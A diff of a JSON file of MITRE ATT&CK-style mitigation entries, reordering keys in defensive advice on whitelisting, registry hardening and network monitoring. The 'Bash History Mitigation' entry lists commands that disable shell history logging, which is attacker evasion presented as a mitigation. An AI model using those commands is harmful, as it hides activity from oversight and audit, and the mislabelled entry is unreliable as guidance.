"description": "Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create scheduled tasks on remote systems. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for permission weaknesses in scheduled tasks that could be used to escalate privileges. (Citation: Powersploit)\n\nConfigure settings for scheduled tasks to force tasks to run under the context of the authenticated account instead of allowing them to run as SYSTEM. The associated Registry key is located at HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\SubmitControl. The setting can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > Security Options: Domain Controller: Allow server operators to schedule tasks, set to disabled. (Citation: TechNet Server Operator Scheduled Task)\n\nConfigure the Increase Scheduling Priority option to only allow the Administrators group the rights to schedule a priority process. This can be can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Increase scheduling priority. (Citation: TechNet Scheduling Priority)\n\nIdentify and block unnecessary system utilities or potentially malicious software that may be used to schedule tasks using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
- "value": "Scheduled Task Mitigation - T1053",
- "uuid": "f2cb6ce2-188d-4162-8feb-594f949b13dd",
"meta": {
"external_id": "T1053"
- }
+ },
+ "uuid": "f2cb6ce2-188d-4162-8feb-594f949b13dd",
+ "value": "Scheduled Task Mitigation - T1053"
},
{
"description": "Identify potentially malicious software that may be executed from a padded or otherwise obfuscated binary, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
- "value": "Binary Padding Mitigation - T1009",
- "uuid": "16a8ac85-a06f-460f-ad22-910167bd7332",
"meta": {
"external_id": "T1009"
- }
+ },
+ "uuid": "16a8ac85-a06f-460f-ad22-910167bd7332",
+ "value": "Binary Padding Mitigation - T1009"
},
{
"description": "Ensure that all wireless traffic is encrypted appropriately. Use Kerberos, SSL, and multifactor authentication wherever possible. Monitor switches and network for span port usage, ARP/DNS poisoning, and router reconfiguration.\n\nIdentify and block potentially malicious software that may be used to sniff or analyze network traffic by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
- "value": "Network Sniffing Mitigation - T1040",
- "uuid": "46b7ef91-4e1d-43c5-a2eb-00fa9444f6f4",
"meta": {
"external_id": "T1040"
- }
+ },
+ "uuid": "46b7ef91-4e1d-43c5-a2eb-00fa9444f6f4",
+ "value": "Network Sniffing Mitigation - T1040"
},
{
"description": "Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to encrypt files, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
- "value": "Data Encrypted Mitigation - T1022",
- "uuid": "2a8de25c-f743-4348-b101-3ee33ab5871b",
"meta": {
"external_id": "T1022"
- }
+ },
+ "uuid": "2a8de25c-f743-4348-b101-3ee33ab5871b",
+ "value": "Data Encrypted Mitigation - T1022"
},
{
"description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Use of encryption protocols may make typical network-based C2 detection more difficult due to a reduced ability to signature the traffic. Prior knowledge of adversary C2 infrastructure may be useful for domain and IP address blocking, but will likely not be an effective long-term solution because adversaries can change infrastructure often. (Citation: University of Birmingham C2)",
- "value": "Standard Cryptographic Protocol Mitigation - T1032",
- "uuid": "a766ce73-5583-48f3-b7c0-0bb43c6ef8c7",
"meta": {
"external_id": "T1032"
- }
+ },
+ "uuid": "a766ce73-5583-48f3-b7c0-0bb43c6ef8c7",
+ "value": "Standard Cryptographic Protocol Mitigation - T1032"
},
{
"description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Use of encryption protocols may make typical network-based C2 detection more difficult due to a reduced ability to signature the traffic. Prior knowledge of adversary C2 infrastructure may be useful for domain and IP address blocking, but will likely not be an effective long-term solution because adversaries can change infrastructure often. (Citation: University of Birmingham C2)",
- "value": "Multilayer Encryption Mitigation - T1079",
- "uuid": "24478001-2eb3-4b06-a02e-96b3d61d27ec",
"meta": {
"external_id": "T1079"
- }
+ },
+ "uuid": "24478001-2eb3-4b06-a02e-96b3d61d27ec",
+ "value": "Multilayer Encryption Mitigation - T1079"
},
{
"description": "When creating security rules, avoid exclusions based on file name or file path. Require signed binaries. Use file system access controls to protect folders such as C:\\Windows\\System32. Use tools that restrict program execution via whitelisting by attributes other than file name.\n\nIdentify potentially malicious software that may look like a legitimate program based on name and location, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
- "value": "Masquerading Mitigation - T1036",
- "uuid": "45e7f570-6a0b-4095-bf02-4bca05da6bae",
"meta": {
"external_id": "T1036"
- }
+ },
+ "uuid": "45e7f570-6a0b-4095-bf02-4bca05da6bae",
+ "value": "Masquerading Mitigation - T1036"
},
{
"description": "Identify potentially malicious software that may be used to access logical drives in this manner, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
- "value": "File System Logical Offsets Mitigation - T1006",
- "uuid": "902286b2-96cc-4dd7-931f-e7340c9961da",
"meta": {
"external_id": "T1006"
- }
+ },
+ "uuid": "902286b2-96cc-4dd7-931f-e7340c9961da",
+ "value": "File System Logical Offsets Mitigation - T1006"
},
{
"description": "Limit the number of accounts that may use remote services. Use multifactor authentication where possible. Limit the permissions for accounts that are at higher risk of compromise; for example, configure SSH so users can only run specific programs. Prevent Credential Access techniques that may allow an adversary to acquire Valid Accounts that can be used by existing services.",
- "value": "Remote Services Mitigation - T1021",
- "uuid": "979e6485-7a2f-42bd-ae96-4e622c3cd173",
"meta": {
"external_id": "T1021"
- }
+ },
+ "uuid": "979e6485-7a2f-42bd-ae96-4e622c3cd173",
+ "value": "Remote Services Mitigation - T1021"
},
{
"description": "Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to delete files, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
- "value": "File Deletion Mitigation - T1107",
- "uuid": "34efb2fd-4dc2-40d4-a564-0c147c85034d",
"meta": {
"external_id": "T1107"
- }
+ },
+ "uuid": "34efb2fd-4dc2-40d4-a564-0c147c85034d",
+ "value": "File Deletion Mitigation - T1107"
},
{
"description": "Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to compress files, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)\n\nIf network intrusion prevention or data loss prevention tools are set to block specific file types from leaving the network over unencrypted channels, then an adversary may move to an encrypted channel.",
- "value": "Data Compressed Mitigation - T1002",
- "uuid": "28adf6fd-ab6c-4553-9aa7-cef18a191f33",
"meta": {
"external_id": "T1002"
- }
+ },
+ "uuid": "28adf6fd-ab6c-4553-9aa7-cef18a191f33",
+ "value": "Data Compressed Mitigation - T1002"
},
{
"description": "Require that all AppleScript be signed by a trusted developer ID before being executed - this will prevent random AppleScript code from executing.",
- "value": "AppleScript Mitigation - T1155",
- "uuid": "1e4ef2c7-ee96-4484-9baa-3b5777561301",
"meta": {
"external_id": "T1155"
- }
+ },
+ "uuid": "1e4ef2c7-ee96-4484-9baa-3b5777561301",
+ "value": "AppleScript Mitigation - T1155"
},
{
"description": "Mshta.exe may not be necessary within a given environment since its functionality is tied to older versions of Internet Explorer which have reached end of life. Use application whitelisting configured to block execution of mshta.exe if it is not required for a given system or network to prevent potential misuse by adversaries.",
- "value": "Mshta Mitigation - T1170",
- "uuid": "d2dce10b-3562-4d61-b2f5-7c6384b038e2",
"meta": {
"external_id": "T1170"
- }
+ },
+ "uuid": "d2dce10b-3562-4d61-b2f5-7c6384b038e2",
+ "value": "Mshta Mitigation - T1170"
},
{
"description": "Windows 8.1, Windows Server 2012 R2, and later versions, may make LSA run as a Protected Process Light (PPL) by setting the Registry key HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\RunAsPPL, which requires all DLLs loaded by LSA to be signed by Microsoft. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)",
- "value": "Authentication Package Mitigation - T1131",
- "uuid": "943d370b-2054-44df-8be2-ab4139bde1c5",
"meta": {
"external_id": "T1131"
- }
+ },
+ "uuid": "943d370b-2054-44df-8be2-ab4139bde1c5",
+ "value": "Authentication Package Mitigation - T1131"
},
{
"description": "Certain signed binaries that can be used to execute other programs may not be necessary within a given environment. Use application whitelisting configured to block execution of these scripts if they are not required for a given system or network to prevent potential misuse by adversaries.",
- "value": "Signed Binary Proxy Execution Mitigation - T1218",
- "uuid": "28c0f30c-32c3-4c6c-a474-74820e55854f",
"meta": {
"external_id": "T1218"
- }
+ },
+ "uuid": "28c0f30c-32c3-4c6c-a474-74820e55854f",
+ "value": "Signed Binary Proxy Execution Mitigation - T1218"
},
{
"description": "There are multiple methods of preventing a user's command history from being flushed to their .bash_history file, including use of the following commands:\nset +o history and set -o history to start logging again;\nunset HISTFILE being added to a user's .bash_rc file; and\nln -s /dev/null ~/.bash_history to write commands to /dev/nullinstead.",
- "value": "Bash History Mitigation - T1139",
- "uuid": "ace4daee-f914-4707-be75-843f16da2edf",
"meta": {
"external_id": "T1139"
- }
+ },
+ "uuid": "ace4daee-f914-4707-be75-843f16da2edf",
+ "value": "Bash History Mitigation - T1139"
},
{
"description": "Identify and block potentially malicious software that may persist in this manner by using whitelisting (Citation: Beechey 2010) tools capable of monitoring DLL loads by processes running under SYSTEM permissions.",
- "value": "Port Monitors Mitigation - T1013",
- "uuid": "1c6bc7f3-d517-4971-aed4-8f939090846b",
"meta": {
"external_id": "T1013"
- }
+ },
+ "uuid": "1c6bc7f3-d517-4971-aed4-8f939090846b",
+ "value": "Port Monitors Mitigation - T1013"
},
{
"description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating all IFEO will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. (Citation: Microsoft IFEOorMalware July 2015) Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.\n\nIdentify and block potentially malicious software that may be executed through IFEO by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown executables.",
- "value": "Image File Execution Options Injection Mitigation - T1183",
- "uuid": "33f76731-b840-446f-bee0-53687dad24d9",
"meta": {
"external_id": "T1183"
- }
+ },
+ "uuid": "33f76731-b840-446f-bee0-53687dad24d9",
+ "value": "Image File Execution Options Injection Mitigation - T1183"
},
{
"description": "Use user training as a way to bring awareness to common phishing and spearphishing techniques and how to raise suspicion for potentially malicious events. Application whitelisting may be able to prevent the running of executables masquerading as other files.\n\nIf a link is being visited by a user, block unknown or unused files in transit by default that should not be downloaded or by policy from suspicious sites as a best practice to prevent some vectors, such as .scr, .exe, .pif, .cpl, etc. Some download scanning devices can open and analyze compressed and encrypted formats, such as zip and rar that may be used to conceal malicious files in Obfuscated Files or Information.\n\nIf a link is being visited by a user, network intrusion prevention systems and systems designed to scan and remove malicious downloads can be used to block activity. Solutions can be signature and behavior based, but adversaries may construct files in a way to avoid these systems.",
- "value": "User Execution Mitigation - T1204",
- "uuid": "548bf7ad-e19c-4d74-84bf-84ac4e57f505",
"meta": {
"external_id": "T1204"
- }
+ },
+ "uuid": "548bf7ad-e19c-4d74-84bf-84ac4e57f505",
+ "value": "User Execution Mitigation - T1204"
},
{
"description": "Enforce that all binaries be signed by the correct Apple Developer IDs, and whitelist applications via known hashes. Binaries can also be baselined for what dynamic libraries they require, and if an app requires a new dynamic library that wasn’t included as part of an update, it should be investigated.",
- "value": "LC_LOAD_DYLIB Addition Mitigation - T1161",
- "uuid": "77fd4d73-6b79-4593-82e7-e4a439cc7604",
"meta": {
"external_id": "T1161"
- }
+ },
+ "uuid": "77fd4d73-6b79-4593-82e7-e4a439cc7604",
+ "value": "LC_LOAD_DYLIB Addition Mitigation - T1161"
},
{
"description": "Since browser pivoting requires a high integrity process to launch from, restricting user permissions and addressing Privilege Escalation and Bypass User Account Control opportunities can limit the exposure to this technique. \n\nClose all browser sessions regularly and when they are no longer needed.",
- "value": "Man in the Browser Mitigation - T1185",
- "uuid": "94f6b4f5-b528-4f50-91d5-f66457c2f8f7",
"meta": {
"external_id": "T1185"
- }
+ },
+ "uuid": "94f6b4f5-b528-4f50-91d5-f66457c2f8f7",
+ "value": "Man in the Browser Mitigation - T1185"
},
{
"description": "Block .scr files from being executed from non-standard locations. Set Group Policy to force users to have a dedicated screensaver where local changes should not override the settings to prevent changes. Use Group Policy to disable screensavers if they are unnecessary. (Citation: TechNet Screensaver GP)",
- "value": "Screensaver Mitigation - T1180",
- "uuid": "9da16278-c6c5-4410-8a6b-9c16ce8005b3",
"meta": {
"external_id": "T1180"
- }
+ },
+ "uuid": "9da16278-c6c5-4410-8a6b-9c16ce8005b3",
+ "value": "Screensaver Mitigation - T1180"
},
{
"description": "To use this technique remotely, an adversary must use it in conjunction with RDP. Ensure that Network Level Authentication is enabled to force the remote desktop session to authenticate before the session is created and the login screen displayed. It is enabled by default on Windows Vista and later. (Citation: TechNet RDP NLA)\n\nIf possible, use a Remote Desktop Gateway to manage connections and security configuration of RDP within a network. (Citation: TechNet RDP Gateway)\n\nIdentify and block potentially malicious software that may be executed by an adversary with this technique by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
- "value": "Accessibility Features Mitigation - T1015",
- "uuid": "c085476e-1964-4d7f-86e1-d8657a7741e8",
"meta": {
"external_id": "T1015"
- }
+ },
+ "uuid": "c085476e-1964-4d7f-86e1-d8657a7741e8",
+ "value": "Accessibility Features Mitigation - T1015"
},
{
"description": "Ensure proper permissions are in place to help prevent adversary access to privileged accounts necessary to perform this action. Use Trusted Platform Module technology and a secure or trusted boot process to prevent system integrity from being compromised. (Citation: TCG Trusted Platform Module) (Citation: TechNet Secure Boot Process)",
- "value": "Bootkit Mitigation - T1067",
- "uuid": "96150c35-466f-4f0a-97a9-ae87ee27f751",
"meta": {
"external_id": "T1067"
- }
+ },
+ "uuid": "96150c35-466f-4f0a-97a9-ae87ee27f751",
+ "value": "Bootkit Mitigation - T1067"
},
{
"description": "Take measures to detect or prevent techniques such as Credential Dumping or installation of keyloggers to acquire credentials through Input Capture. Limit credential overlap across systems to prevent access if account credentials are obtained. Ensure that local administrator accounts have complex, unique passwords across all systems on the network. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled and use of accounts is segmented, as this is often equivalent to having a local administrator account with the same password on all systems. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers. (Citation: Microsoft Securing Privileged Access). Audit domain and local accounts as well as their permission levels routinely to look for situations that could allow an adversary to gain wide access by obtaining credentials of a privileged account. (Citation: TechNet Credential Theft) (Citation: TechNet Least Privilege)",
- "value": "Valid Accounts Mitigation - T1078",
- "uuid": "d45f03a8-790a-4f90-b956-cd7e5b8886bf",
"meta": {
"external_id": "T1078"
- }
+ },
+ "uuid": "d45f03a8-790a-4f90-b956-cd7e5b8886bf",
+ "value": "Valid Accounts Mitigation - T1078"
},
{
"description": "Only install browser extensions from trusted sources that can be verified. Ensure extensions that are installed are the intended ones as many malicious extensions will masquerade as legitimate ones.\n\nBrowser extensions for some browsers can be controlled through Group Policy. Set a browser extension white or black list as appropriate for your security policy. (Citation: Technospot Chrome Extensions GP)\n\nChange settings to prevent the browser from installing extensions without sufficient permissions.\n\nClose out all browser sessions when finished using them.",
- "value": "Browser Extensions Mitigation - T1176",
- "uuid": "b52f41b9-ccf6-4da7-a6c0-167eeb71fbd8",
"meta": {
"external_id": "T1176"
- }
+ },
+ "uuid": "b52f41b9-ccf6-4da7-a6c0-167eeb71fbd8",
+ "value": "Browser Extensions Mitigation - T1176"
},
{
"description": "Ensure proper process, registry, and file permissions are in place to prevent adversaries from disabling or interfering with security services.",
- "value": "Disabling Security Tools Mitigation - T1089",
- "uuid": "388606d3-f38f-45bf-885d-a9dc9df3c8a8",
"meta": {
"external_id": "T1089"
- }
+ },
+ "uuid": "388606d3-f38f-45bf-885d-a9dc9df3c8a8",
+ "value": "Disabling Security Tools Mitigation - T1089"
},
{
"description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information within the Registry, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
- "value": "Query Registry Mitigation - T1012",
- "uuid": "0640214c-95af-4c04-a574-2a1ba6dda00b",
"meta": {
"external_id": "T1012"
- }
+ },
+ "uuid": "0640214c-95af-4c04-a574-2a1ba6dda00b",
+ "value": "Query Registry Mitigation - T1012"
},
{
"description": "Making these files immutable and only changeable by certain administrators will limit the ability for adversaries to easily create user level persistence.",
- "value": ".bash_profile and .bashrc Mitigation - T1156",
- "uuid": "4f170666-7edb-4489-85c2-9affa28a72e0",
"meta": {
"external_id": "T1156"
- }
+ },
+ "uuid": "4f170666-7edb-4489-85c2-9affa28a72e0",
+ "value": ".bash_profile and .bashrc Mitigation - T1156"
},
{
"description": "Prevent adversary access to privileged accounts or access necessary to perform this technique. Check the integrity of the existing BIOS or EFI to determine if it is vulnerable to modification. Patch the BIOS and EFI as necessary. Use Trusted Platform Module technology. (Citation: TCG Trusted Platform Module)",
- "value": "System Firmware Mitigation - T1019",
- "uuid": "25e53928-6f33-49b7-baee-8180578286f6",
"meta": {
"external_id": "T1019"
- }
+ },
+ "uuid": "25e53928-6f33-49b7-baee-8180578286f6",
+ "value": "System Firmware Mitigation - T1019"
},
{
"description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
- "value": "Multiband Communication Mitigation - T1026",
- "uuid": "da987565-27b6-4b31-bbcd-74b909847116",
"meta": {
"external_id": "T1026"
- }
+ },
+ "uuid": "da987565-27b6-4b31-bbcd-74b909847116",
+ "value": "Multiband Communication Mitigation - T1026"
},
{
"description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information on remotely available systems, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
- "value": "Remote System Discovery Mitigation - T1018",
- "uuid": "9a902722-cecd-4fbe-a6c9-49333aa0f8c2",
"meta": {
"external_id": "T1018"
- }
+ },
+ "uuid": "9a902722-cecd-4fbe-a6c9-49333aa0f8c2",
+ "value": "Remote System Discovery Mitigation - T1018"
},
{
"description": "File system activity is a common part of an operating system, so it is unlikely that mitigation would be appropriate for this technique. It may still be beneficial to identify and block unnecessary system utilities or potentially malicious software by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
- "value": "File and Directory Discovery Mitigation - T1083",
- "uuid": "2ace01f8-67c8-43eb-b7b1-a7b9f1fe67e1",
"meta": {
"external_id": "T1083"
- }
+ },
+ "uuid": "2ace01f8-67c8-43eb-b7b1-a7b9f1fe67e1",
+ "value": "File and Directory Discovery Mitigation - T1083"
},
{
"description": "Common tools for detecting Linux rootkits include: rkhunter (Citation: SourceForge rkhunter), chrootkit (Citation: Chkrootkit Main), although rootkits may be designed to evade certain detection tools.\n\nLKMs and Kernel extensions require root level permissions to be installed. Limit access to the root account and prevent users from loading kernel modules and extensions through proper privilege separation and limiting Privilege Escalation opportunities.\n\nApplication whitelisting and software restriction tools, such as SELinux, can also aide in restricting kernel module loading. (Citation: Kernel.org Restrict Kernel Module)",
- "value": "Kernel Modules and Extensions Mitigation - T1215",
- "uuid": "44155d14-ca75-4fdf-b033-ab3d732e2884",
"meta": {
"external_id": "T1215"
- }
+ },
+ "uuid": "44155d14-ca75-4fdf-b033-ab3d732e2884",
+ "value": "Kernel Modules and Extensions Mitigation - T1215"
},
{
"description": "Use auditing tools capable of detecting file system permissions abuse opportunities on systems within an enterprise and correct them. Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service binary target path locations. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for service file system permissions weaknesses. (Citation: Powersploit)\n\nIdentify and block potentially malicious software that may be executed through abuse of file, directory, and service permissions by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs. Deny execution from user directories such as file download directories and temp directories where able. (Citation: Seclists Kanthak 7zip Installer)\n\nTurn off UAC's privilege elevation for standard users [HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System]to automatically deny elevation requests, add: \"ConsentPromptBehaviorUser\"=dword:00000000 (Citation: Seclists Kanthak 7zip Installer). Consider enabling installer detection for all users by adding: \"EnableInstallerDetection\"=dword:00000001. This will prompt for a password for installation and also log the attempt. To disable installer detection, instead add: \"EnableInstallerDetection\"=dword:00000000. This may prevent potential elevation of privileges through exploitation during the process of UAC detecting the installer, but will allow the installation process to continue without being logged.",
- "value": "File System Permissions Weakness Mitigation - T1044",
- "uuid": "1022138b-497c-40e6-b53a-13351cbd4090",
"meta": {
"external_id": "T1044"
- }
+ },
+ "uuid": "1022138b-497c-40e6-b53a-13351cbd4090",
+ "value": "File System Permissions Weakness Mitigation - T1044"
},
{
"description": "Ensure that permissions disallow services that run at a higher permissions level from being created or interacted with by a user with a lower permission level. Also ensure that high permission level service binaries cannot be replaced or modified by users with a lower permission level.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to interact with Windows services, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
- "value": "Service Execution Mitigation - T1035",
- "uuid": "d5dce4b9-f1fa-4c03-aff9-ce177246cb64",
"meta": {
"external_id": "T1035"
- }
+ },
+ "uuid": "d5dce4b9-f1fa-4c03-aff9-ce177246cb64",
+ "value": "Service Execution Mitigation - T1035"
},
{
"description": "Applications with known vulnerabilities or known shell escapes should not have the setuid or setgid bits set to reduce potential damage if an application is compromised.",
- "value": "Setuid and Setgid Mitigation - T1166",
- "uuid": "073cc04d-ac46-4f5a-85d7-83a91ecd6a19",
"meta": {
"external_id": "T1166"
- }
+ },
+ "uuid": "073cc04d-ac46-4f5a-85d7-83a91ecd6a19",
+ "value": "Setuid and Setgid Mitigation - T1166"
},
{
"description": "Due to potential legitimate uses of trap commands, it's may be difficult to mitigate use of this technique.",
- "value": "Trap Mitigation - T1154",
- "uuid": "809b79cd-be78-4597-88d1-5496d1d9993a",
"meta": {
"external_id": "T1154"
- }
+ },
+ "uuid": "809b79cd-be78-4597-88d1-5496d1d9993a",
+ "value": "Trap Mitigation - T1154"
},
{
"description": "Disable Autorun if it is unnecessary. (Citation: Microsoft Disable Autorun) Disallow or restrict removable media at an organizational policy level if they are not required for business operations. (Citation: TechNet Removable Media Control)",
- "value": "Communication Through Removable Media Mitigation - T1092",
- "uuid": "b8d57b16-d8e2-428c-a645-1083795b3445",
"meta": {
"external_id": "T1092"
- }
+ },
+ "uuid": "b8d57b16-d8e2-428c-a645-1083795b3445",
+ "value": "Communication Through Removable Media Mitigation - T1092"
},
{
"description": "Remove smart cards when not in use. Protect devices and services used to transmit and receive out-of-band codes.\n\nIdentify and block potentially malicious software that may be used to intercept 2FA credentials on a system by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
- "value": "Two-Factor Authentication Interception Mitigation - T1111",
- "uuid": "e8d22ec6-2236-48de-954b-974d17492782",
"meta": {
"external_id": "T1111"
- }
+ },
+ "uuid": "e8d22ec6-2236-48de-954b-974d17492782",
+ "value": "Two-Factor Authentication Interception Mitigation - T1111"
},
{
"description": "On Windows 8.1 and Server 2012 R2, enable LSA Protection by setting the Registry key HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\RunAsPPL to dword:00000001. (Citation: Microsoft LSA Protection Mar 2014) LSA Protection ensures that LSA plug-ins and drivers are only loaded if they are digitally signed with a Microsoft signature and adhere to the Microsoft Security Development Lifecycle (SDL) process guidance.\n\nOn Windows 10 and Server 2016, enable Windows Defender Credential Guard (Citation: Microsoft Enable Cred Guard April 2017) to run lsass.exe in an isolated virtualized environment without any device drivers. (Citation: Microsoft Credential Guard April 2017)\n\nEnsure safe DLL search mode is enabled HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager\\SafeDllSearchMode to mitigate risk that lsass.exe loads a malicious code library. (Citation: Microsoft DLL Security)",
- "value": "LSASS Driver Mitigation - T1177",
- "uuid": "7a6e5ca3-562f-4185-a323-f3b62b5b2e6b",
"meta": {
"external_id": "T1177"
- }
+ },
+ "uuid": "7a6e5ca3-562f-4185-a323-f3b62b5b2e6b",
+ "value": "LSASS Driver Mitigation - T1177"
},
{
"description": "Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports and through proper network gateway systems.\n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
- "value": "Standard Non-Application Layer Protocol Mitigation - T1095",
- "uuid": "399d9038-b100-43ef-b28d-a5065106b935",
"meta": {
"external_id": "T1095"
- }
+ },
+ "uuid": "399d9038-b100-43ef-b28d-a5065106b935",
+ "value": "Standard Non-Application Layer Protocol Mitigation - T1095"
},
{
"description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
- "value": "Data Transfer Size Limits Mitigation - T1030",
- "uuid": "ba06d68a-4891-4eb5-b634-152e05ec60ee",
"meta": {
"external_id": "T1030"
- }
+ },
+ "uuid": "ba06d68a-4891-4eb5-b634-152e05ec60ee",
+ "value": "Data Transfer Size Limits Mitigation - T1030"
},
{
"description": "Upgrade to Windows 8 or later and enable secure boot.\n\nIdentify and block potentially malicious software that may be executed through AppInit DLLs by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.",
- "value": "AppInit DLLs Mitigation - T1103",
- "uuid": "10571bf2-8073-4edf-a71c-23bad225532e",
"meta": {
"external_id": "T1103"
- }
+ },
+ "uuid": "10571bf2-8073-4edf-a71c-23bad225532e",
+ "value": "AppInit DLLs Mitigation - T1103"
},
{
"description": "InstallUtil may not be necessary within a given environment. Use application whitelisting configured to block execution of InstallUtil.exe if it is not required for a given system or network to prevent potential misuse by adversaries.",
- "value": "InstallUtil Mitigation - T1118",
- "uuid": "ec418d1b-4963-439f-b055-f914737ef362",
"meta": {
"external_id": "T1118"
- }
+ },
+ "uuid": "ec418d1b-4963-439f-b055-f914737ef362",
+ "value": "InstallUtil Mitigation - T1118"
},
{
"description": "Limit permissions for who can create symbolic links in Windows to appropriate groups such as Administrators and necessary groups for virtualization. This can be done through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create symbolic links. (Citation: UCF STIG Symbolic Links)\n\nIdentify and block unknown, potentially malicious software that may be executed through shortcut modification by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
- "value": "Shortcut Modification Mitigation - T1023",
